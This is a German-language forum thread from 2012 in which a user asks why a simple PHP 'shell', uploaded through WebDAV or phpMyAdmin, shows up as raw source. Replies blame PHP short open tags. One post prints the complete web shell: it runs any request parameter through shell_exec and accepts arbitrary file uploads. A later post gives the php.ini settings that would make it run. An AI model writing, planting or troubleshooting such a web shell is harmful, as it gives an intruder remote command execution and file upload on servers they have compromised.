shell falsch dargestellt

Dieses Thema im Forum "Sicherheit & Datenschutz" wurde erstellt von huke11, 26. Dezember 2012 .

Schlagworte:
Status des Themas:
Es sind keine weiteren Antworten möglich.
  1. 26. Dezember 2012
    Zuletzt von einem Moderator bearbeitet: 15. April 2017
    Hatte nun schon des Öfteren ob webdav oder pma das ne extrem simple Shell beim Uploaden falsch dargestellt wird.

    Weis einer eventuell den Grund dafür?

    Habe hier mal ein Bild für euch, um zu zeigen, wie es aussieht.

    obm2deqk.png
    {img-src: //s7.directupload.net/images/121226/obm2deqk.png}


    Frohe Weihnachten
    MfG
     
  3. 26. Dezember 2012
    AW: shell falsch dargestellt

    Sieht einfach so aus, dass der PHP-Code garnicht geparsed wird. Schreib die Shell halt mal neu und mach alles Standardkonform.

    <? anstatt <?php kann manchmal schon zum Problem werden.

    Wenn du nicht in der Lage bist dir eine solch simple Shell selbst zu schreiben solltest du es sowieso sein lassen.
     
  4. 26. Dezember 2012
    AW: shell falsch dargestellt

    Von dir Alex hört man egal bei welchen Thread immer nur du lass es sein und ich bin der King.

    Ich hatte mir von diesen Board eigentlich ein wenig mehr erwartet. Egal, welche Frage man stellt und wie vernünftig man sie noch stellt. Es kommt nur so was zurück.

    Von Professionalität zeugt das in keiner Weise. Aber es scheinen hier 70% der Leute solch eine Einstellung zu haben. Von konstruktiver Kritik kennt Raid Rush anscheinend nichts. Schade eigentlich.
     
  5. 26. Dezember 2012
    AW: shell falsch dargestellt

    Der Quelltext wäre hilfreich. Das einzige was man sehen ist, dass ein Teil des Quellcodes direkt geprintet wird, scheint also Fehler im Code zu sein.
     
  6. 26. Dezember 2012
    AW: shell falsch dargestellt

    PHP:
    <? $sendfile = $_REQUEST [ "sendfile" ]; $cmd = $_REQUEST [ "-cmd" ];if( $sendfile == "true" ) {  $fn = $_FILES [ "file" ][ "name" ];  $tn = $_FILES [ "file" ][ "tmp_name" ]; if( move_uploaded_file ( $tn ,  dirname ( __FILE__ ). "/" . $fn ))  $result = "<br><font color=green>upload done</p>" ; else  $result = "<br><font color=red>upload failed</p>" ; }  ?><html><body><form method=POST><input type=TEXT name="-cmd" size=64 value="<?=$cmd?>"></form><form enctype="multipart/form-data" method="post" action=""><input type=file name=file size=20><input type="submit" value="Upload"><input type="hidden" name="sendfile" value="true"><?=$result?></form><pre><?  if ( $cmd != "" ) echo  shell_exec ( $cmd ); ?></pre></body></html>
     
  7. 26. Dezember 2012
    AW: shell falsch dargestellt

    Lösung steht oben im zweiten Post. <? wird oft deaktiviert in der php.ini dann funktioniert nur <?php

    oder in php.ini short_open_tag=Off so wie asp_tags auf On stellen.
     
  8. Video Script

    Videos zum Themenbereich

    * gefundene Videos auf YouTube, anhand der Überschrift.